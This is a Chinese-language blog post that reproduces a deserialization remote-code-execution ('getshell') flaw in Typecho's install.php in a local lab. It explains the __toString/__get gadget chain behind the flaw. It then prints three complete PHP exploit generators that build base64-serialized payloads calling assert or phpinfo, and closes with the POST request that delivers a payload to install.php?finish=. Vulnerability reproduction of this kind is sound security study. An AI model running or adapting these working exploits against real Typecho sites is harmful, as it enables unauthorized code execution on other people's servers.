Typecho反序列化导致前台 getshell 漏洞复现

时间:2024-01-02 08:53:38

Typecho反序列化导致前台 getshell 漏洞复现

漏洞描述:

Typecho是一款快速建博客的程序,外观简洁,应用广泛。这次的漏洞通过install.php安装程序页面的反序列化函数,造成了命令执行。

影响范围:理论上这个漏洞影响Typecho 1.1(15.5.12)之前的版本

首先我还是记录一下敏感目录

http://127.0.0.1/typecho0.9/install.php

http://127.0.0.1/typecho0.9/install.php?finish&user=admin&password=admin

http://127.0.0.1/typecho0.9/admin/welcome.php

使用环境:

Phpstudy+win7虚拟机

Typecho_v1.0.14.tar.gz    https://pan.baidu.com/s/1jHQBKFk      (在里面找相应的名字)

漏洞成因:

Freebuf上的文章说的很清楚了,有两个需要理解的点:

第一个是__toString()魔法方法,在/install.php

__toString() //把类当作字符串使用时触发

Typecho反序列化导致前台 getshell 漏洞复现

这块利用Typecho_Db函数,跟进这个函数,/var/Typecho/Db.php,发现$adapterName定义的时候拼接了一个字符串,根据文章作者说,PHP是弱类型的语言,把一个字符串和一个类拼接的时候,会强制把类转换成字符串,所以就会触发传进来的这个类的toString方法。

Typecho反序列化导致前台 getshell 漏洞复现

第二个是__get()魔法方法,

__get() //用于从不可访问的属性读取数据

Typecho反序列化导致前台 getshell 漏洞复现

这块设置author由screenName确定,如果在类里面加上这个方法,我们给$item['author']设置的类中没有screenName私有属性就会执行该类的__get()方法。

通过__get()函数返回_applyFilter($value),将可执行代码赋值给$value触发漏洞。

漏洞复现过程:

这个漏洞复现就有一点坎坷了,起初我发现typecho里面有历史版本的下载,于是下载了一个0.9版本的,可是多次尝试仍以失败告终,后来在对比漏洞原理的时候,发现与存在漏洞的版本有出入,难不成历史版本作者也一直在更新。。。好吧,上网找了一个第三方的下了一个1.0.14,在报错的情况下完成了复现。

建站就不多说了,直接安装没有问题。安装成功如图

Typecho反序列化导致前台 getshell 漏洞复现

http://www.freebuf.com/vuls/152058.html

这位大牛漏洞原理讲的特别详细,建议看看。

反序列化漏洞要利用势必离不开魔术方法,作者收集的和PHP反序列化有关的PHP函数:
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发

Freebuf版EXP   http://www.freebuf.com/vuls/152058.html

<?php
class Typecho_Feed
{
const RSS1 = 'RSS 1.0';
const RSS2 = 'RSS 2.0';
const ATOM1 = 'ATOM 1.0';
const DATE_RFC822 = 'r';
const DATE_W3CDTF = 'c';
const EOL = "\n";
private $_type;
private $_items; public function __construct(){
$this->_type = $this::RSS2;
$this->_items[0] = array(
'title' => '1',
'link' => '1',
'date' => 1508895132,
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
);
}
} class Typecho_Request
{
private $_params = array();
private $_filter = array(); public function __construct(){
$this->_params['screenName'] = 'phpinfo()';
$this->_filter[0] = 'assert';
}
} $exp = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
); echo base64_encode(serialize($exp));
?>

knownsec版EXP  https://paper.seebug.org/424/

<?php
class Typecho_Feed
{
const RSS1 = 'RSS 1.0';
const RSS2 = 'RSS 2.0';
const ATOM1 = 'ATOM 1.0';
const DATE_RFC822 = 'r';
const DATE_W3CDTF = 'c';
const EOL = "\n";
private $_type;
private $_items; public function __construct(){
$this->_type = $this::RSS2;
$this->_items[0] = array(
'title' => '1',
'link' => '1',
'date' => 1508895132,
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
);
}
} class Typecho_Request
{
private $_params = array();
private $_filter = array(); public function __construct(){
$this->_params['screenName'] = 'phpinfo()';
$this->_filter[0] = 'assert';
}
} $exp = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
); echo base64_encode(serialize($exp)); knownsec版EXP https://paper.seebug.org/424/
<?php
class Typecho_Request
{
private $_params = array();
private $_filter = array(); public function __construct()
{
// $this->_params['screenName'] = 'whoami';
$this->_params['screenName'] = -1;
$this->_filter[0] = 'phpinfo';
}
} class Typecho_Feed
{
const RSS2 = 'RSS 2.0';
/** 定义ATOM 1.0类型 */
const ATOM1 = 'ATOM 1.0';
/** 定义RSS时间格式 */
const DATE_RFC822 = 'r';
/** 定义ATOM时间格式 */
const DATE_W3CDTF = 'c';
/** 定义行结束符 */
const EOL = "\n";
private $_type;
private $_items = array();
public $dateFormat; public function __construct()
{
$this->_type = self::RSS2;
$item['link'] = '1';
$item['title'] = '2';
$item['date'] = 1507720298;
$item['author'] = new Typecho_Request();
$item['category'] = array(new Typecho_Request()); $this->_items[0] = $item;
}
} $x = new Typecho_Feed();
$a = array(
'host' => 'localhost',
'user' => 'xxxxxx',
'charset' => 'utf8',
'port' => '3306',
'database' => 'typecho',
'adapter' => $x,
'prefix' => 'typecho_'
);
echo urlencode(base64_encode(serialize($a)));
?>

360安全客版EXP  http://bobao.360.cn/learning/detail/4610.html

<?php
class Typecho_Request
{
private $_params = array('screenName'=>'eval(\'phpinfo();exit();\')');
private $_filter = array('assert');
}
$payload1 = new Typecho_Request();
class Typecho_Feed
{
private $_type = 'RSS 2.0';
private $_items;
public function __construct($x1)
{
$this->_items[] = array('author'=>$x1);
}
}
$payload2 = new Typecho_Feed($payload1);
$exp['adapter'] = $payload2;
$exp['prefix'] = 'c1tas';
echo base64_encode(serialize($exp));
?>

用post提交数据

url:http://192.168.198.128/Typecho1.0/install.php?finish=

Postdata:__typecho_config=前面脚本生成的

Referrer:http://192.168.198.128/Typecho1.0/

Typecho反序列化导致前台 getshell 漏洞复现

另一种方式是通过cookie提交

Typecho反序列化导致前台 getshell 漏洞复现